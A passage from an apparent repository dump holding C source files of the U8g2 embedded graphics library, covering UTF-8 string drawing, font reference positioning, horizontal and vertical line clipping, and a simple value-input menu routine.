\t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx  \n*/\nu8g2_uint_t u8g2_DrawUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_utf8_next;\n  return u8g2_draw_string(u8g2, x, y, str);\n}\n\nu8g2_uint_t u8g2_DrawUTF8X2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_utf8_next;\n  return u8g2_draw_string_2x(u8g2, x, y, str);\n}\n\n\nu8g2_uint_t u8g2_DrawExtendedUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, u8g2_kerning_t *kerning, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_utf8_next;\n  uint16_t e_prev = 0x0ffff;\n  uint16_t e;\n  u8g2_uint_t delta, sum, k;\n  u8x8_utf8_init(u8g2_GetU8x8(u8g2));\n  sum = 0;\n  for(;;)\n  {\n    e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( e == 0x0ffff )\n      break;\n    str++;\n    if ( e != 0x0fffe )\n    {\n      delta = u8g2_GetGlyphWidth(u8g2, e);\n\t    \n      if ( to_left )\n      {\n        k = u8g2_GetKerning(u8g2, kerning, e, e_prev);\n\tdelta -= k;\n\tx -= delta;\n      }\n      else\n      {\n        k = u8g2_GetKerning(u8g2, kerning, e_prev, e);\n\tdelta -= k;\n      }\n      e_prev = e;\n\n      u8g2_DrawGlyph(u8g2, x, y, e);\n      if ( to_left )\n      {\n      }\n      else\n      {\n\tx += delta;\n\tx -= k;\n      }\n      \n      sum += delta;    \n    }\n  }\n  return sum;\n}\n\nu8g2_uint_t u8g2_DrawExtUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, const uint16_t *kerning_table, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_utf8_next;\n  uint16_t e_prev = 0x0ffff;\n  uint16_t e;\n  u8g2_uint_t delta, sum, k;\n  u8x8_utf8_init(u8g2_GetU8x8(u8g2));\n  sum = 0;\n  for(;;)\n  {\n    e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( e == 0x0ffff )\n      break;\n    str++;\n    if ( e != 0x0fffe )\n    {\n      delta = u8g2_GetGlyphWidth(u8g2, e);\n\t    \n      if ( to_left )\n      {\n        k = u8g2_GetKerningByTable(u8g2, kerning_table, e, e_prev);\n\tdelta -= k;\n\tx -= delta;\n      }\n      else\n      {\n        k = u8g2_GetKerningByTable(u8g2, kerning_table, e_prev, e);\n\tdelta -= k;\n      }\n      e_prev = e;\n\n      if ( to_left )\n      {\n      }\n      else\n      {\n\tx += delta;\n      }\n      u8g2_DrawGlyph(u8g2, x, y, e);\n      if ( to_left )\n      {\n      }\n      else\n      {\n\t//x += delta;\n\t//x -= k;\n      }\n      \n      sum += delta;    \n    }\n  }\n  return sum;\n}\n\n\n\n/*===============================================*/\n\n/* set ascent/descent for reference point calculation */\n\nvoid u8g2_UpdateRefHeight(u8g2_t *u8g2)\n{\n  if ( u8g2->font == NULL )\n    return;\n  u8g2->font_ref_ascent = u8g2->font_info.ascent_A;\n  u8g2->font_ref_descent = u8g2->font_info.descent_g;\n  if ( u8g2->font_height_mode == U8G2_FONT_HEIGHT_MODE_TEXT )\n  {\n  }\n  else if ( u8g2->font_height_mode == U8G2_FONT_HEIGHT_MODE_XTEXT )\n  {\n    if ( u8g2->font_ref_ascent < u8g2->font_info.ascent_para )\n      u8g2->font_ref_ascent = u8g2->font_info.ascent_para;\n    if ( u8g2->font_ref_descent > u8g2->font_info.descent_para )\n      u8g2->font_ref_descent = u8g2->font_info.descent_para;\n  }\n  else\n  {\n    if ( u8g2->font_ref_ascent < u8g2->font_info.max_char_height+u8g2->font_info.y_offset )\n      u8g2->font_ref_ascent = u8g2->font_info.max_char_height+u8g2->font_info.y_offset;\n    if ( u8g2->font_ref_descent > u8g2->font_info.y_offset )\n      u8g2->font_ref_descent = u8g2->font_info.y_offset;\n  }  \n}\n\nvoid u8g2_SetFontRefHeightText(u8g2_t *u8g2)\n{\n  u8g2->font_height_mode = U8G2_FONT_HEIGHT_MODE_TEXT;\n  u8g2_UpdateRefHeight(u8g2);\n}\n\nvoid u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2)\n{\n  u8g2->font_height_mode = U8G2_FONT_HEIGHT_MODE_XTEXT;\n  u8g2_UpdateRefHeight(u8g2);\n}\n\nvoid u8g2_SetFontRefHeightAll(u8g2_t *u8g2)\n{\n  u8g2->font_height_mode = U8G2_FONT_HEIGHT_MODE_ALL;\n  u8g2_UpdateRefHeight(u8g2);\n}\n\n/*===============================================*/\n/* callback procedures to correct the y position */\n\nu8g2_uint_t u8g2_font_calc_vref_font(U8X8_UNUSED u8g2_t *u8g2)\n{\n  return 0;\n}\n\nvoid u8g2_SetFontPosBaseline(u8g2_t *u8g2)\n{\n  u8g2->font_calc_vref = u8g2_font_calc_vref_font;\n}\n\n\nu8g2_uint_t u8g2_font_calc_vref_bottom(u8g2_t *u8g2)\n{\n  return (u8g2_uint_t)(u8g2->font_ref_descent);\n}\n\nvoid u8g2_SetFontPosBottom(u8g2_t *u8g2)\n{\n  u8g2->font_calc_vref = u8g2_font_calc_vref_bottom;\n}\n\nu8g2_uint_t u8g2_font_calc_vref_top(u8g2_t *u8g2)\n{\n  u8g2_uint_t tmp;\n  /* reference pos is one pixel above the upper edge of the reference glyph */\n  tmp = (u8g2_uint_t)(u8g2->font_ref_ascent);\n  tmp++;\n  return tmp;\n}\n\nvoid u8g2_SetFontPosTop(u8g2_t *u8g2)\n{\n  u8g2->font_calc_vref = u8g2_font_calc_vref_top;\n}\n\nu8g2_uint_t u8g2_font_calc_vref_center(u8g2_t *u8g2)\n{\n  int8_t tmp;\n  tmp = u8g2->font_ref_ascent;\n  tmp -= u8g2->font_ref_descent;\n  tmp /= 2;\n  tmp += u8g2->font_ref_descent;  \n  return tmp;\n}\n\nvoid u8g2_SetFontPosCenter(u8g2_t *u8g2)\n{\n  u8g2->font_calc_vref = u8g2_font_calc_vref_center;\n}\n\n/*===============================================*/\n\nvoid u8g2_SetFont(u8g2_t *u8g2, const uint8_t  *font)\n{\n  if ( u8g2->font != font )\n  {\n//#ifdef  __unix__\n//\tu8g2->last_font_data = NULL;\n//\tu8g2->last_unicode = 0x0ffff;\n//#endif \n    u8g2->font = font;\n    u8g2_read_font_info(&(u8g2->font_info), font);\n    u8g2_UpdateRefHeight(u8g2);\n    /* u8g2_SetFontPosBaseline(u8g2); */ /* removed with issue 195 */\n  }\n}\n\n/*===============================================*/\n\nstatic uint8_t u8g2_is_all_valid(u8g2_t *u8g2, const char *str) U8G2_NOINLINE;\nstatic uint8_t u8g2_is_all_valid(u8g2_t *u8g2, const char *str)\n{\n  uint16_t e;\n  u8x8_utf8_init(u8g2_GetU8x8(u8g2));\n  for(;;)\n  {\n    e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( e == 0x0ffff )\n      break;\n    str++;\n    if ( e != 0x0fffe )\n    {\n      if ( u8g2_font_get_glyph_data(u8g2, e) == NULL )\n\treturn 0;\n    }\n  }\n  return 1;\n}\n\nuint8_t u8g2_IsAllValidUTF8(u8g2_t *u8g2, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_utf8_next;\n  return u8g2_is_all_valid(u8g2, str);\n}\n\n\n/* string calculation is stilll not 100% perfect as it addes the initial string offset to the overall size */\nstatic u8g2_uint_t u8g2_string_width(u8g2_t *u8g2, const char *str) U8G2_NOINLINE;\nstatic u8g2_uint_t u8g2_string_width(u8g2_t *u8g2, const char *str)\n{\n  uint16_t e;\n  u8g2_uint_t  w, dx;\n#ifdef U8G2_BALANCED_STR_WIDTH_CALCULATION\n  int8_t initial_x_offset = -64;\n#endif \n  \n  u8g2->font_decode.glyph_width = 0;\n  u8x8_utf8_init(u8g2_GetU8x8(u8g2));\n  \n  /* reset the total width to zero, this will be expanded during calculation */\n  w = 0;\n  dx = 0;\n\n  // printf(\"str=<%s>\\n\", str);\n\t\n  for(;;)\n  {\n    e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( e == 0x0ffff )\n      break;\n    str++;\n    if ( e != 0x0fffe )\n    {\n      dx = u8g2_GetGlyphWidth(u8g2, e);\t\t/* delta x value of the glyph */\n#ifdef U8G2_BALANCED_STR_WIDTH_CALCULATION\n      if ( initial_x_offset == -64 )\n        initial_x_offset = u8g2->glyph_x_offset;\n#endif \n      //printf(\"'%c' x=%d dx=%d w=%d io=%d \", e, u8g2->glyph_x_offset, dx, u8g2->font_decode.glyph_width, initial_x_offset);\n      w += dx;\n    }\n  }\n  //printf(\"\\n\");\n  \n  /* adjust the last glyph, check for issue #16: do not adjust if width is 0 */\n  if ( u8g2->font_decode.glyph_width != 0 )\n  {\n    //printf(\"string width adjust dx=%d glyph_width=%d x-offset=%d\\n\", dx, u8g2->font_decode.glyph_width, u8g2->glyph_x_offset);\n    w -= dx;\n    w += u8g2->font_decode.glyph_width;  /* the real pixel width of the glyph, sideeffect of GetGlyphWidth */\n    /* issue #46: we have to add the x offset also */\n    w += u8g2->glyph_x_offset;\t/* this value is set as a side effect of u8g2_GetGlyphWidth() */\n#ifdef U8G2_BALANCED_STR_WIDTH_CALCULATION\n    /* https://github.com/olikraus/u8g2/issues/1561 */\n    if ( initial_x_offset > 0 )\n      w+=initial_x_offset;\n#endif \n  }\n  // printf(\"w=%d \\n\", w);\n  \n  return w;  \n}\n\nstatic void u8g2_GetGlyphHorizontalProperties(u8g2_t *u8g2, uint16_t requested_encoding, uint8_t *w, int8_t *ox, int8_t *dx)\n{\n  const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, requested_encoding);\n  if ( glyph_data == NULL )\n    return; \n  \n  u8g2_font_setup_decode(u8g2, glyph_data);\n  *w = u8g2->font_decode.glyph_width;\n  *ox =  u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_x);\n  u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_y);\n  *dx = u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_delta_x);\n}\n\n/* u8g compatible GetStrX function */\nint8_t u8g2_GetStrX(u8g2_t *u8g2, const char *s)\n{\n  uint8_t w;\n  int8_t dx;\n  int8_t ox = 0;\n  u8g2_GetGlyphHorizontalProperties(u8g2, *s, &w, &ox, &dx);\n  return ox;\n}\n\n\n/*\nWarning: This function needs to be fixed. I think it was taken over from u8glib, but not fixed as of now \nThe main difference for this procedure compared to the normal get width, should be, that the initial\noffset is removed\n\nIdea: for the user interface it probably would be better to add the xoffset of the first char to the end, so that the overall word looks better.\nMaybe then the procedure should be called differently, maybe balanced width instead of exact width\n\nu8g2_calculate_exact_string_width is now OBSOLETE, instead the above str width calculation has been updated:\nhttps://github.com/olikraus/u8g2/issues/1561\n*/\n#ifdef OBSOLETE\nstatic u8g2_uint_t u8g2_calculate_exact_string_width(u8g2_t *u8g2, const char *str)\n{\n  const char *s = str;\n  uint16_t enc;\n  u8g2_uint_t  w;\n  uint8_t cnt;\n  uint8_t gw; \n  int8_t ox, dx;\n  \n  /* reset the total minimal width to zero, this will be expanded during calculation */\n  w = 0;\n    \n  \n  /* check for empty string, width is already 0 */\n  cnt = 0;\n  \n  for(;;)\n  {\n    enc = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*s);\n    if ( enc == 0x0ffff )\n      break;    \n    s++;\n    if ( enc != 0x0fffe )\n    {\n      if ( cnt == 0 )\n      {\n        /* get glyph properties of the first char */\n        u8g2_GetGlyphHorizontalProperties(u8g2, enc, &gw, &ox, &dx);  \n      }        \n      cnt++;\n      if ( cnt > 2 )\n        break;\n    }\n  }\n  \n  if ( cnt == 0 )\n    return 0;\n   \n  if ( cnt == 1 )\n     return gw;\n\n  /* strlen(s) == 1:       width = width(s[0]) */\n  /* strlen(s) == 2:       width = - offx(s[0]) + deltax(s[0]) + offx(s[1]) + width(s[1]) */\n  /* strlen(s) == 3:       width = - offx(s[0]) + deltax(s[0]) + deltax(s[1]) + offx(s[2]) + width(s[2]) */\n  \n  /* assume that the string has size 2 or more, than start with negative offset-x */\n  /* for string with size 1, this will be nullified after the loop */\n  w = -ox;  \n  for(;;)\n  {\n    enc = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str);\n    if ( enc== 0x0ffff )\n      break;\n    str++;\n    if ( enc != 0x0fffe )\n    {\n      u8g2_GetGlyphHorizontalProperties(u8g2, enc, &gw, &ox, &dx);        \n      /* if there are still more characters, add the delta to the next glyph */\n      w += dx;    \n    }\n  }\n  \n  /* finally calculate the width of the last char */\n  /* here is another exception, if the last char is a blank, use the dx value instead */\n  if ( gw != 0 )\n  {\n    w -= dx;    /* remove the last dx */\n    /* if g was not updated in the for loop (strlen() == 1), then the initial offset x gets removed */\n    w += gw;\n    w += ox;\n  }\n  else\n  {\n    //w += dx;\n  }\n  \n  \n  return w;\n\t\n}\n#endif\n\n\n\n\n\nu8g2_uint_t u8g2_GetStrWidth(u8g2_t *u8g2, const char *s)\n{\n  u8g2->u8x8.next_cb = u8x8_ascii_next;\n  return u8g2_string_width(u8g2, s);\n}\n\n/* OBSOLETE\nu8g2_uint_t u8g2_GetExactStrWidth(u8g2_t *u8g2, const char *s)\n{\n  u8g2->u8x8.next_cb = u8x8_ascii_next;\n  return u8g2_calculate_exact_string_width(u8g2, s);\n}\n*/\n\n/*\nsource: https://en.wikipedia.org/wiki/UTF-8\nBits\tfrom \t\tto\t\t\tbytes\tByte 1 \t\tByte 2 \t\tByte 3 \t\tByte 4 \t\tByte 5 \t\tByte 6\n  7 \tU+0000 \t\tU+007F \t\t1 \t\t0xxxxxxx\n11 \tU+0080 \t\tU+07FF \t\t2 \t\t110xxxxx \t10xxxxxx\n16 \tU+0800 \t\tU+FFFF \t\t3 \t\t1110xxxx \t10xxxxxx \t10xxxxxx\n21 \tU+10000 \tU+1FFFFF \t4 \t\t11110xxx \t10xxxxxx \t10xxxxxx \t10xxxxxx\n26 \tU+200000 \tU+3FFFFFF \t5 \t\t111110xx \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx\n31 \tU+4000000 \tU+7FFFFFFF \t6 \t\t1111110x \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx \t10xxxxxx  \n*/\nu8g2_uint_t u8g2_GetUTF8Width(u8g2_t *u8g2, const char *str)\n{\n  u8g2->u8x8.next_cb = u8x8_utf8_next;\n  return u8g2_string_width(u8g2, str);\n}\n\n\n\nvoid u8g2_SetFontDirection(u8g2_t *u8g2, uint8_t dir)\n{\n#ifdef U8G2_WITH_FONT_ROTATION  \n  u8g2->font_decode.dir = dir;\n#endif\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_hvline.c",
    "content": "/*\n\n  u8g2_hvline.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  Calltree\n  \n    void u8g2_DrawHVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n    u8g2->cb->draw_l90\n    u8g2_draw_hv_line_2dir\n    u8g2->ll_hvline(u8g2, x, y, len, dir);\n    \n\n*/\n\n#include \"u8g2.h\"\n#include <assert.h>\n\n/*==========================================================*/\n/* intersection procedure */\n\n/*\n  Description:\n    clip range from pos a (included) with line len (a+len excluded) agains c (included) to d (excluded)\n  Assumptions:\n    len > 0\n    c <= d\t\t(this is not checked)\n  will return 0 if there is no intersection and if a > b\n\n*/\n\nstatic uint8_t u8g2_clip_intersection2(u8g2_uint_t *ap, u8g2_uint_t *len, u8g2_uint_t c, u8g2_uint_t d)\n{\n  u8g2_uint_t a = *ap;\n  u8g2_uint_t b;\n  b  = a;\n  b += *len;\n\n  /*\n    Description:\n      clip range from a (included) to b (excluded) agains c (included) to d (excluded)\n    Assumptions:\n      a <= b\t\t(violation is checked and handled correctly)\n      c <= d\t\t(this is not checked)\n    will return 0 if there is no intersection and if a > b\n\n    optimized clipping: c is set to 0 --> 27 Oct 2018: again removed the c==0 assumption\n    \n    replaced by uint8_t u8g2_clip_intersection2\n  */\n\n  /* handle the a>b case correctly. If code and time is critical, this could */\n  /* be removed completly (be aware about memory curruption for wrong */\n  /* arguments) or return 0 for a>b (will lead to skipped lines for wrong */\n  /* arguments) */  \n  \n  /* removing the following if clause completly may lead to memory corruption of a>b */\n  if ( a > b )\n  {    \n    /* replacing this if with a simple \"return 0;\" will not handle the case with negative a */    \n    if ( a < d )\n    {\n      b = d;\n      b--;\n    }\n    else\n    {\n      a = c;\n    }\n  }\n  \n  /* from now on, the asumption a <= b is ok */\n  \n  if ( a >= d )\n    return 0;\n  if ( b <= c )\n    return 0;\n  if ( a < c )\t\t\n    a = c;\n  if ( b > d )\n    b = d;\n  \n  *ap = a;\n  b -= a;\n  *len = b;\n  return 1;\n}\n\n\n\n/*==========================================================*/\n/* draw procedures */\n\n/*\n  x,y\t\tUpper left position of the line within the pixel buffer \n  len\t\tlength of the line in pixel, len must not be 0\n  dir\t\t0: horizontal line (left to right)\n\t\t1: vertical line (top to bottom)\n  This function first adjusts the y position to the local buffer. Then it\n  will clip the line and call u8g2_draw_low_level_hv_line()\n\n*/\nvoid u8g2_draw_hv_line_2dir(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n\n  /* clipping happens before the display rotation */\n\n  /* transform to pixel buffer coordinates */\n  y -= u8g2->pixel_curr_row;\n  \n  u8g2->ll_hvline(u8g2, x, y, len, dir);\n}\n\n\n/*\n  This is the toplevel function for the hv line draw procedures.\n  This function should be called by the user.\n  \n  \"dir\" may have 4 directions: 0 (left to right), 1, 2, 3 (down up)\n*/\nvoid u8g2_DrawHVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  /* Make a call to the callback function (e.g. u8g2_draw_l90_r0). */\n  /* The callback may rotate the hv line */\n  /* after rotation this will call u8g2_draw_hv_line_4dir() */\n  \n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  if ( u8g2->is_page_clip_window_intersection != 0 )\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n    if ( len != 0 )\n    {\n    \n      /* convert to two directions */    \n      if ( len > 1 )\n      {\n\tif ( dir == 2 )\n\t{\n\t  x -= len;\n\t  x++;\n\t}\n\telse if ( dir == 3 )\n\t{\n\t  y -= len;\n\t  y++;\n\t}\n      }\n      dir &= 1;  \n      \n      /* clip against the user window */\n      if ( dir == 0 )\n      {\n\tif ( y < u8g2->user_y0 )\n\t  return;\n\tif ( y >= u8g2->user_y1 )\n\t  return;\n\tif ( u8g2_clip_intersection2(&x, &len, u8g2->user_x0, u8g2->user_x1) == 0 )\n\t  return;\n      }\n      else\n      {\n\tif ( x < u8g2->user_x0 )\n\t  return;\n\tif ( x >= u8g2->user_x1 )\n\t  return;\n\tif ( u8g2_clip_intersection2(&y, &len, u8g2->user_y0, u8g2->user_y1) == 0 )\n\t  return;\n      }\n      \n      \n      u8g2->cb->draw_l90(u8g2, x, y, len, dir);\n    }\n}\n\nvoid u8g2_DrawHLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len)\n{\n// #ifdef U8G2_WITH_INTERSECTION\n//   if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) \n//     return;\n// #endif /* U8G2_WITH_INTERSECTION */\n  u8g2_DrawHVLine(u8g2, x, y, len, 0);\n}\n\nvoid u8g2_DrawVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len)\n{\n// #ifdef U8G2_WITH_INTERSECTION\n//   if ( u8g2_IsIntersection(u8g2, x, y, x+1, y+len) == 0 ) \n//     return;\n// #endif /* U8G2_WITH_INTERSECTION */\n  u8g2_DrawHVLine(u8g2, x, y, len, 1);\n}\n\nvoid u8g2_DrawPixel(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y)\n{\n#ifdef U8G2_WITH_INTERSECTION\n  if ( y < u8g2->user_y0 )\n    return;\n  if ( y >= u8g2->user_y1 )\n    return;\n  if ( x < u8g2->user_x0 )\n    return;\n  if ( x >= u8g2->user_x1 )\n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n}\n\n/*\n  Assign the draw color for all drawing functions.\n  color may be 0 or 1. The actual color is defined by the display.\n  With color = 1 the drawing function will set the display memory to 1.\n  For OLEDs this ususally means, that the pixel is enabled and the LED \n  at the pixel is turned on.\n  On an LCD it usually means that the LCD segment of the pixel is enabled, \n  which absorbs the light.\n  For eInk/ePaper it means black ink.\n\n  7 Jan 2017: Allow color value 2 for XOR operation.\n  \n*/\nvoid u8g2_SetDrawColor(u8g2_t *u8g2, uint8_t color)\n{\n  u8g2->draw_color = color;\t/* u8g2_SetDrawColor: just assign the argument */ \n  if ( color >= 3 )\n    u8g2->draw_color = 1;\t/* u8g2_SetDrawColor: make color as one if arg is invalid */\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_input_value.c",
    "content": "/*\n\n  u8g2_input_value.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n/*\n  return:\n    0: value is not changed (HOME/Break Button pressed)\n    1: value has been updated\n*/\n\nuint8_t u8g2_UserInterfaceInputValue(u8g2_t *u8g2, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post)\n{\n  uint8_t line_height;\n  uint8_t height;\n  u8g2_uint_t pixel_height;\n  u8g2_uint_t  y, yy;\n  u8g2_uint_t  pixel_width;\n  u8g2_uint_t  x, xx;\n  \n  uint8_t local_value = *value;\n  //uint8_t r; /* not used ??? */\n  uint8_t event;\n\n  /* only horizontal strings are supported, so force this here */\n  u8g2_SetFontDirection(u8g2, 0);\n\n  /* force baseline position */\n  u8g2_SetFontPosBaseline(u8g2);\n  \n  /* calculate line height */\n  line_height = u8g2_GetAscent(u8g2);\n  line_height -= u8g2_GetDescent(u8g2);\n  \n  \n  /* calculate overall height of the input value box */\n  height = 1;\t/* value input line */\n  height += u8x8_GetStringLineCnt(title);\n\n  /* calculate the height in pixel */\n  pixel_height = height;\n  pixel_height *= line_height;\n\n\n  /* calculate offset from top */\n  y = 0;\n  if ( pixel_height < u8g2_GetDisplayHeight(u8g2)  )\n  {\n    y = u8g2_GetDisplayHeight(u8g2);\n    y -= pixel_height;\n    y /= 2;\n  }\n  \n  /* calculate offset from left for the label */\n  x = 0;\n  pixel_width = u8g2_GetUTF8Width(u8g2, pre);\n  pixel_width += u8g2_GetUTF8Width(u8g2, \"0\") * digits;\n  pixel_width += u8g2_GetUTF8Width(u8g2, post);\n  if ( pixel_width < u8g2_GetDisplayWidth(u8g2) )\n  {\n    x = u8g2_GetDisplayWidth(u8g2);\n    x -= pixel_width;\n    x /= 2;\n  }\n  \n  /* event loop */\n  for(;;)\n  {\n    u8g2_FirstPage(u8g2);\n    do\n    {\n      /* render */\n      yy = y;\n      yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title);\n      xx = x;\n      xx += u8g2_DrawUTF8(u8g2, xx, yy, pre);\n      xx += u8g2_DrawUTF8(u8g2, xx, yy, u8x8_u8toa(local_value, digits));\n      u8g2_DrawUTF8(u8g2, xx, yy, post);\n    } while( u8g2_NextPage(u8g2) );\n    \n#ifdef U8G2_REF_MAN_PIC\n      return 0;\n#endif\n    \n    for(;;)\n    {\n      event = u8x8_GetMenuEvent(u8g2_GetU8x8(u8g2));\n      if ( event == U8X8_MSG_GPIO_MENU_SELECT )\n      {\n\t*value = local_value;\n\treturn 1;\n      }\n      else if ( event == U8X8_MSG_GPIO_MENU_HOME )\n      {\n\treturn 0;\n      }\n      else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_UP )\n      {\n\tif ( local_value >= hi )\n\t  local_value = lo;\n\telse\n\t  local_value++;\n\tbreak;\n      }\n      else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_DOWN )\n      {\n\tif ( local_value <= lo )\n\t  local_value = hi;\n\telse\n\t  local_value--;\n\tbreak;\n      }        \n    }\n  }\n  \n  /* never reached */\n  //return r;  \n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_intersection.c",
    "content": "/*\n\n  u8g2_intersection.c \n  \n  Intersection calculation, code taken from u8g_clip.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n#ifdef __GNUC__\n#define 